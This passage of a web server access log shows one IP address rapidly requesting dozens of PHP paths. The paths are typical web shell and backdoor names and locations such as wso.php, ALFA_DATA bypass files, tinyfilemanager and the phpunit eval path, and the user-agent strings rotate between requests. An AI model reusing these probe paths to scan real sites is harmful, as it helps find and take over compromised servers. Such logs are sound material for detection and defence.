HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:38 +0300] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:38 +0300] "GET /wp-content/themes/twentytwentyfour/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.77 - - [21/Mar/2026:12:44:39 +0300] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:44:39 +0300] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:44:39 +0300] "GET /fonts/database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:39 +0300] "GET /wp-includes/SimplePie/Exception-wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:39 +0300] "GET /wp-admin/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:40 +0300] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.77 - - [21/Mar/2026:12:44:40 +0300] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:40 +0300] "GET /wp-content/uploads/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:44:40 +0300] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:40 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:41 +0300] "GET /js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:41 +0300] "GET /simple/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:41 +0300] "GET /.well-known/pki-validation/1.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:41 +0300] "GET /wp-includes/bk/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:44:42 +0300] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:44:42 +0300] "GET /.well-known/pki-validation/install.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:42 +0300] "GET /wp-admin/css/colors/sunrise/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:42 +0300] "GET /wp-content/themes/twentytwentyfour/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:42 +0300] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:43 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.77 - - [21/Mar/2026:12:44:43 +0300] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:43 +0300] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:43 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:44:44 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.77 - - [21/Mar/2026:12:44:44 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:44 +0300] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:44 +0300] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:44 +0300] "GET /assets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:45 +0300] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:45 +0300] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:45 +0300] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:45 +0300] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:45 +0300] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:46 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:46 +0300] "GET /wp-admin/network/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:46 +0300] "GET /.well-known/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:46 +0300] "GET /wp-includes/fonts/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:46 +0300] "GET /css/slider.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:47 +0300] "GET /wp-includes/css/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:44:47 +0300] "GET /wp-content/style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:47 +0300] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:47 +0300] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:47 +0300] "GET /.well-known/pki-validation/class_api.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:48 +0300] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:48 +0300] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:48 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:44:48 +0300] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:49 +0300] "GET /wp-content/uploads/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:49 +0300] "GET /images/js1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:49 +0300] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.77 - - [21/Mar/2026:12:44:49 +0300] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.77 - - [21/Mar/2026:12:44:49 +0300] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.77 - - [21/Mar/2026:12:44:50 +0300] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.77 - - [21/Mar/2026:12:44:50 +0300] "GET /wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:50 +0300] "GET /wp-admin/theme-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:50 +0300] "GET /wp-admin/css/colors/blue/abc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:50 +0300] "GET /wp-admin/maint/wonder.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:51 +0300] "GET /wp-content/themes/twentytwentyfour/wonder.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:51 +0300] "GET /wp-content/plugins/fix/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.77 - - [21/Mar/2026:12:44:51 +0300] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:44:51 +0300] "GET /wp-includes/js/dist/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:44:52 +0300] "GET /wp-admin/css/colors/tfileman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:52 +0300] "GET /wp-admin/js/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:52 +0300] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:44:52 +0300] "GET /wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.77 - - [21/Mar/2026:12:44:52 +0300] "GET /wp-admin/maint/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.77 - - [21/Mar/2026:12:44:53 +0300] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:53 +0300] "GET /wp-includes/SimplePie/Parse/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:53 +0300] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.77 - - [21/Mar/2026:12:44:53 +0300] "GET /wp-content/themes/twentytwentyfour/system_cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:53 +0300] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:54 +0300] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:54 +0300] "GET /wp-content/themes/pridmag/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:54 +0300] "GET /wp-content/themes/twentytwentytwo/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.77 - - [21/Mar/2026:12:44:54 +0300] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:54 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:55 +0300] "GET /wp-admin/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.77 - - [21/Mar/2026:12:44:55 +0300] "GET /wp-admin/css/colors/ocean/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:44:55 +0300] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:55 +0300] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:44:55 +0300] "GET /css/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:56 +0300] "GET /images/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:44:56 +0300] "GET /wp-includes/SimplePie/Cache/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:56 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:56 +0300] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:56 +0300] "GET /wp-content/plugins/pwnd/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.77 - - [21/Mar/2026:12:44:57 +0300] "GET /wp-includes/widgets/class-wp-widget-search-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:57 +0300] "GET /wp-content/languages/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:44:57 +0300] "GET /admin/controller/extension/extension/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.77 - - [21/Mar/2026:12:44:57 +0300] "GET /wp-includes/SimplePie/Canonical.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:57 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/uss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:58 +0300] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:58 +0300] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:44:58 +0300] "GET /wp-includes/class-feed-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:58 +0300] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:59 +0300] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:59 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.77 - - [21/Mar/2026:12:44:59 +0300] "GET /wp-content/themes/twentytwentyfour/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:59 +0300] "GET /wp-includes/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:59 +0300] "GET /wp-includes/class-wp-dependency-float.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:00 +0300] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:00 +0300] "GET /wp-includes/PHPMailer/purna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.77 - - [21/Mar/2026:12:45:00 +0300] "GET /wp-includes/interactivity-api/interactivity-api-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:00 +0300] "GET /wp-includes/l10n/class-wp-widddget-pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.77 - - [21/Mar/2026:12:45:00 +0300] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:01 +0300] "GET /wp-admin/css/colors/light/colors.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:01 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:01 +0300] "GET /wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; 